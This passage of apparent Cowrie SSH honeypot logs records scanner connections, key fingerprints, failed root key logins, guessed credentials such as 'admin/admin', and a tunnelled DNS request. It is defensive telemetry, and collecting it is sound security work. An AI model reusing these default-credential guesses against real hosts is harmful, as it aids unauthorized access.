256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:28.991279Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ddb02020f58","protocol":"ssh","message":"New connection: 2.57.122.208:56160 (159.203.135.109:22) [session: 8ddb02020f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.221122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.225441Z","src_ip":"2.57.122.208","session":"8ddb02020f58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:ef:32:38:33:8e:cd:36:d1:d0:af:b4:b7:a8:89:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoP8PhIm3U/1xLLLN/KR2chg1auf7KsKTiWR5XxLvN0L1Hb2So9+navqGMOnqkhu0r4pma7qKvdPQnXBt8GJuKtf90IQttoSY2jk34ZIBpwWVEBiFqAVKgGxafCUZYO0zHTADgnSNeLJg1/yveP7srmRnr4sXAvFji3sCpM+a54qdUHTqu6mGj5p5uvURnnnabliXljUp+ClC+z2KuUHqnh352TMBaH4WJrWLikC0jyfko+bkF3AT3DL2Rbp2sNUdoIDMkkrR3CRk1BPK4xuZxJPcEDgns1lW+67rbZFR7FyjXq3gnjePcxEty7N3tCgNBcZfD8uOUO+s2O4Y9vm5b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:ef:32:38:33:8e:cd:36:d1:d0:af:b4:b7:a8:89:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.332342Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:ef:32:38:33:8e:cd:36:d1:d0:af:b4:b7:a8:89:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoP8PhIm3U/1xLLLN/KR2chg1auf7KsKTiWR5XxLvN0L1Hb2So9+navqGMOnqkhu0r4pma7qKvdPQnXBt8GJuKtf90IQttoSY2jk34ZIBpwWVEBiFqAVKgGxafCUZYO0zHTADgnSNeLJg1/yveP7srmRnr4sXAvFji3sCpM+a54qdUHTqu6mGj5p5uvURnnnabliXljUp+ClC+z2KuUHqnh352TMBaH4WJrWLikC0jyfko+bkF3AT3DL2Rbp2sNUdoIDMkkrR3CRk1BPK4xuZxJPcEDgns1lW+67rbZFR7FyjXq3gnjePcxEty7N3tCgNBcZfD8uOUO+s2O4Y9vm5b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.336377Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:b1:e3:65:4d:7f:20:c5:b9:bf:bb:30:3c:1f:7c:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyYZy8o0urcNw1Se1dnb2KXH1j1sBLYjm3w3bDnrMbwk1D0Z8K0geyU72p2Xj0ZPRGv3ho0XDxQbucXowgkBiNXcL4SL5Uce/Xcte6PRjMcemCBSbPe6WsMr6s/VR0rk8X0PyfxP590azsFhdaWIFkpwO3CODsS4o0+kcfcPZnM/XS7SsMQ6FhHtgPnaQTubW3QTSMqxM9FCXZlNaaZRzy9FLnwX/vgY/h2JSZWjRDUfQnMiAG70MgOpCNiNXnjGc3ZERmNF95sK2cPkh+fITIQXSjmEWNqzyhehyn2DMsobL3IckSXcBZShuQVEzrnkKSZJXRrRuU+iUrdfAsBmxXy6U9mtCIKNYsbJvblLtyhrTroiWHYBE006iBX+4e5bkw0lru4dJaD5vlectoUiEZeV190h6Cjz0QBbRkgUnTGfeQxdBwuY3hxYorDdweEcfIIpineLzqB16/MZYns2MNIiK4eYSMlyZ6yiL+jZz6H5n+OcuMmuuIe1abIJNAT7Zp/46nXccbbTEiX/dUGfifscOdMRWSHch1cHDTN9MQLtZEWWsTcoNje6pqjoeZIXwpKsjbBmlzmxfV/MxRtzA6qPlOvatEEZKAJN6IaYNq62ibxw/49pICNKrdBWcjx9xHfym1defHZNSDoZLBXYuK64WJXIlSh8bNsDAj1h7nPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:b1:e3:65:4d:7f:20:c5:b9:bf:bb:30:3c:1f:7c:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.409460Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:b1:e3:65:4d:7f:20:c5:b9:bf:bb:30:3c:1f:7c:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyYZy8o0urcNw1Se1dnb2KXH1j1sBLYjm3w3bDnrMbwk1D0Z8K0geyU72p2Xj0ZPRGv3ho0XDxQbucXowgkBiNXcL4SL5Uce/Xcte6PRjMcemCBSbPe6WsMr6s/VR0rk8X0PyfxP590azsFhdaWIFkpwO3CODsS4o0+kcfcPZnM/XS7SsMQ6FhHtgPnaQTubW3QTSMqxM9FCXZlNaaZRzy9FLnwX/vgY/h2JSZWjRDUfQnMiAG70MgOpCNiNXnjGc3ZERmNF95sK2cPkh+fITIQXSjmEWNqzyhehyn2DMsobL3IckSXcBZShuQVEzrnkKSZJXRrRuU+iUrdfAsBmxXy6U9mtCIKNYsbJvblLtyhrTroiWHYBE006iBX+4e5bkw0lru4dJaD5vlectoUiEZeV190h6Cjz0QBbRkgUnTGfeQxdBwuY3hxYorDdweEcfIIpineLzqB16/MZYns2MNIiK4eYSMlyZ6yiL+jZz6H5n+OcuMmuuIe1abIJNAT7Zp/46nXccbbTEiX/dUGfifscOdMRWSHch1cHDTN9MQLtZEWWsTcoNje6pqjoeZIXwpKsjbBmlzmxfV/MxRtzA6qPlOvatEEZKAJN6IaYNq62ibxw/49pICNKrdBWcjx9xHfym1defHZNSDoZLBXYuK64WJXIlSh8bNsDAj1h7nPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.415546Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.428545Z","src_ip":"2.57.122.208","session":"8ddb02020f58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:59:08:45:6b:bf:03:aa:a0:4b:4c:f3:ca:de:19:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDESsLItu9eNEvZbNow1rYIb72+zMBLX+jy50QkW6z2pKd1VNB9qMk6mPnN45g9+g7aV/reG4vR+bKHcWscwjcULd6tDg05U4krBIP3xnX6CqcvKLAmkGJf5wdtwfRtQgAzHZommywOIxQVKOtdAycDkK/yl9SrlefnektnKLoMwJ8C3pHT2i8J60TYC5sx8HOcpQExV7EhX5jfCreQVsQPWIE+erLtvBFPLEyYcUH6+VQMGBpZTMYykWivi0wJXJ6hsm697RzrGDXZbmmE+jIgY0GpjqwU5Ptz22lBcWQODcBSPzw66uEd4r8iuCA7wKl/KiSZp3YrVeY359LqDxnREDwqNpnCYGJ3hDNOYEfMExDuj+AmH75R78Nkfuhev4SfiR4qDjd+IxIDQvLOY/ip446jZjlZIV6MytJZEqR07vvdlRNcem93oA+aq7px+TgIlXZibjnDSdvjWo6M8848eCzQTYtSrGnzEH0xQYPn/9ETdoYIxOOL+40Q4ai+/lm5NSH7CxyPiyNKMgr9eWEvLxi9iN1gWuN4JWLLPg5CJfEgEo7JYDBWaN3xneWHh3vWjSwTjD0Ib1oUx5RO5zv+f5vv3xjWIgxMr6hLaqdR/nuCEdpY60zJNMfBHOd/HsYxeKG4n+7rLFp3JzL7TIvDDtZpXKaAaFST2M/QoCclQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:59:08:45:6b:bf:03:aa:a0:4b:4c:f3:ca:de:19:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.488209Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:59:08:45:6b:bf:03:aa:a0:4b:4c:f3:ca:de:19:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDESsLItu9eNEvZbNow1rYIb72+zMBLX+jy50QkW6z2pKd1VNB9qMk6mPnN45g9+g7aV/reG4vR+bKHcWscwjcULd6tDg05U4krBIP3xnX6CqcvKLAmkGJf5wdtwfRtQgAzHZommywOIxQVKOtdAycDkK/yl9SrlefnektnKLoMwJ8C3pHT2i8J60TYC5sx8HOcpQExV7EhX5jfCreQVsQPWIE+erLtvBFPLEyYcUH6+VQMGBpZTMYykWivi0wJXJ6hsm697RzrGDXZbmmE+jIgY0GpjqwU5Ptz22lBcWQODcBSPzw66uEd4r8iuCA7wKl/KiSZp3YrVeY359LqDxnREDwqNpnCYGJ3hDNOYEfMExDuj+AmH75R78Nkfuhev4SfiR4qDjd+IxIDQvLOY/ip446jZjlZIV6MytJZEqR07vvdlRNcem93oA+aq7px+TgIlXZibjnDSdvjWo6M8848eCzQTYtSrGnzEH0xQYPn/9ETdoYIxOOL+40Q4ai+/lm5NSH7CxyPiyNKMgr9eWEvLxi9iN1gWuN4JWLLPg5CJfEgEo7JYDBWaN3xneWHh3vWjSwTjD0Ib1oUx5RO5zv+f5vv3xjWIgxMr6hLaqdR/nuCEdpY60zJNMfBHOd/HsYxeKG4n+7rLFp3JzL7TIvDDtZpXKaAaFST2M/QoCclQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.492311Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:5b:cb:31:5b:9e:52:09:5c:44:41:dc:d2:f9:a7:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO/Qt5Hgea/1TGFBe/UqctRpC6fUUywUtGIp9S/N0v6LDoH2V/HJhXuIe/kYQP+UIXu7LX4YerNO4C6v6SxpJ7dKsr3zSW5QWFfUSppDTSGZ4ZBwRl8i4eACr0ArzbyKjPZpo/qCzGl/GXOVXNt/h++YV8lSM/at9sg2200FYdHE9EsVEeuR8XBfj+mgaMGkLGHPnbvbtDRJAFpW6LdSbrJHcT4Wrc2WBc6Njetlvss8PlGQ/KL5fzu7vZEg9i1aq7vMgH6E9t383N/z7IvAmb866eGTi2rgYElR6Wuyuei7d54klOCvnxOZpo5pQ+uXlY+VMBzmAXXyFNgSSndFtFcJMbIQFMkR30y1LgB7mfGtJKe9pzolftQTHJks/2RSTitBuyXRIVWYsNvhN4vzq3QB5DHdJEIT2u3BJ39ZnaEBEyrNsca9HPZvyRcLeT0MLiuDGSQ9LgvZDRf1zrNFfvTn7nGGUXErGzlRIjp97Omm5R2F59Ri5NycjNpwFuHJlBAo+9hjROyPrKUnbR+gyN1RdyOj78ty10b7iYk3dOxk/HvjMsWKbwdKCzkelfRZVXr9eFTYYLIynAnyx1QZfwGwf9zvqxR2y/H5bF64Hu9yNmwKS65Rf1PkgUBRzdtEVq875f9p7rxQ5DiaSIOzSsNF4V/FSbHTgfiub5BBPbcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:5b:cb:31:5b:9e:52:09:5c:44:41:dc:d2:f9:a7:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.565646Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:5b:cb:31:5b:9e:52:09:5c:44:41:dc:d2:f9:a7:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO/Qt5Hgea/1TGFBe/UqctRpC6fUUywUtGIp9S/N0v6LDoH2V/HJhXuIe/kYQP+UIXu7LX4YerNO4C6v6SxpJ7dKsr3zSW5QWFfUSppDTSGZ4ZBwRl8i4eACr0ArzbyKjPZpo/qCzGl/GXOVXNt/h++YV8lSM/at9sg2200FYdHE9EsVEeuR8XBfj+mgaMGkLGHPnbvbtDRJAFpW6LdSbrJHcT4Wrc2WBc6Njetlvss8PlGQ/KL5fzu7vZEg9i1aq7vMgH6E9t383N/z7IvAmb866eGTi2rgYElR6Wuyuei7d54klOCvnxOZpo5pQ+uXlY+VMBzmAXXyFNgSSndFtFcJMbIQFMkR30y1LgB7mfGtJKe9pzolftQTHJks/2RSTitBuyXRIVWYsNvhN4vzq3QB5DHdJEIT2u3BJ39ZnaEBEyrNsca9HPZvyRcLeT0MLiuDGSQ9LgvZDRf1zrNFfvTn7nGGUXErGzlRIjp97Omm5R2F59Ri5NycjNpwFuHJlBAo+9hjROyPrKUnbR+gyN1RdyOj78ty10b7iYk3dOxk/HvjMsWKbwdKCzkelfRZVXr9eFTYYLIynAnyx1QZfwGwf9zvqxR2y/H5bF64Hu9yNmwKS65Rf1PkgUBRzdtEVq875f9p7rxQ5DiaSIOzSsNF4V/FSbHTgfiub5BBPbcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.569515Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:e2:44:21:25:67:30:bf:04:31:f6:a6:47:de:51:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDc+4sylizn+SHwgsheeVpJXseFUgEIWjE8hGxHjgTLQwZkiCAbJEpRjv9Cp+snTRmBYyGyFBni0jkZOYWqKkRbSr+G0GkggABKdRewmKILo38gHM1hhLhAXN5Q56HEpuCEUmKMsfBgRxNyHsS4D65cpyDe9VqjvXlatFuJ1tq5z5kSYpRaXkxNKrS5o1DApgJndx2c0iu7UJUJ6NcwjxmH8XOZNrk+SUy0vqRUBWjkQ4OVyw80VBStXA2UZiXpMInycfCcn4w6B+VhXLa1Vs+W5na09crb4PUPZDwdVowWiaNEsLfS8wLuBKXBJSo4l/TdXRJkj8DoFpayDxDhMyQtyRhZEjpGt3xHoivhHf6mIsRWJIbH/YmNQwV+q8+iK8Lzxjn1QDVngs7nEfyw50T9sk5NNLwnHQfTATSwF25K6wq0Sb02Yo76r0SEjOgMW5SoYZ7YN0sgbBTx+Gq9fZTMWawEUD0HVWlAnUWEwoIB0b20OV3l2np6WCzlWS9YfSn2bFzO9MsPWwIb6Osbr5MFv530Jwpl79IFVnjJUHuBQ487tD4ACQwuVJT6ZA/XybjfQlOVN5yB5hr+vQTdbGOwkXh1XLOXTcsSDOZ4BMDxrf/CznPyMrO0qOCKUk6tfnIHQenmP0Ge7FvPqG83IRPqYs6AgaikXpKM50h4EQWDCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:e2:44:21:25:67:30:bf:04:31:f6:a6:47:de:51:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.642710Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:e2:44:21:25:67:30:bf:04:31:f6:a6:47:de:51:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDc+4sylizn+SHwgsheeVpJXseFUgEIWjE8hGxHjgTLQwZkiCAbJEpRjv9Cp+snTRmBYyGyFBni0jkZOYWqKkRbSr+G0GkggABKdRewmKILo38gHM1hhLhAXN5Q56HEpuCEUmKMsfBgRxNyHsS4D65cpyDe9VqjvXlatFuJ1tq5z5kSYpRaXkxNKrS5o1DApgJndx2c0iu7UJUJ6NcwjxmH8XOZNrk+SUy0vqRUBWjkQ4OVyw80VBStXA2UZiXpMInycfCcn4w6B+VhXLa1Vs+W5na09crb4PUPZDwdVowWiaNEsLfS8wLuBKXBJSo4l/TdXRJkj8DoFpayDxDhMyQtyRhZEjpGt3xHoivhHf6mIsRWJIbH/YmNQwV+q8+iK8Lzxjn1QDVngs7nEfyw50T9sk5NNLwnHQfTATSwF25K6wq0Sb02Yo76r0SEjOgMW5SoYZ7YN0sgbBTx+Gq9fZTMWawEUD0HVWlAnUWEwoIB0b20OV3l2np6WCzlWS9YfSn2bFzO9MsPWwIb6Osbr5MFv530Jwpl79IFVnjJUHuBQ487tD4ACQwuVJT6ZA/XybjfQlOVN5yB5hr+vQTdbGOwkXh1XLOXTcsSDOZ4BMDxrf/CznPyMrO0qOCKUk6tfnIHQenmP0Ge7FvPqG83IRPqYs6AgaikXpKM50h4EQWDCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.646746Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:29.720461Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:30.127399Z","src_ip":"2.57.122.208","session":"8ddb02020f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:31.323248Z","src_ip":"2.57.122.208","session":"8ddb02020f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.692493200302124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:34.060812Z","src_ip":"59.125.27.231","session":"d2b8945f3c09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65232,"dst_ip":"10.17.0.5","dst_port":22,"session":"49187e3fcd9d","protocol":"ssh","message":"New connection: 87.251.64.176:65232 (10.17.0.5:22) [session: 49187e3fcd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:49.418623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:49.422174Z","src_ip":"87.251.64.176","session":"49187e3fcd9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:49.517853Z","src_ip":"87.251.64.176","session":"49187e3fcd9d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:49.805673Z","src_ip":"87.251.64.176","session":"49187e3fcd9d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:49.904799Z","session":"49187e3fcd9d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:50.002988Z","src_ip":"87.251.64.176","session":"49187e3fcd9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:50.237984Z","src_ip":"87.251.64.176","session":"49187e3fcd9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36830,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad996255403","protocol":"ssh","message":"New connection: 2.57.122.208:36830 (10.17.0.5:22) [session: 7ad996255403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:59.244829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:59.349433Z","src_ip":"2.57.122.208","session":"7ad996255403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 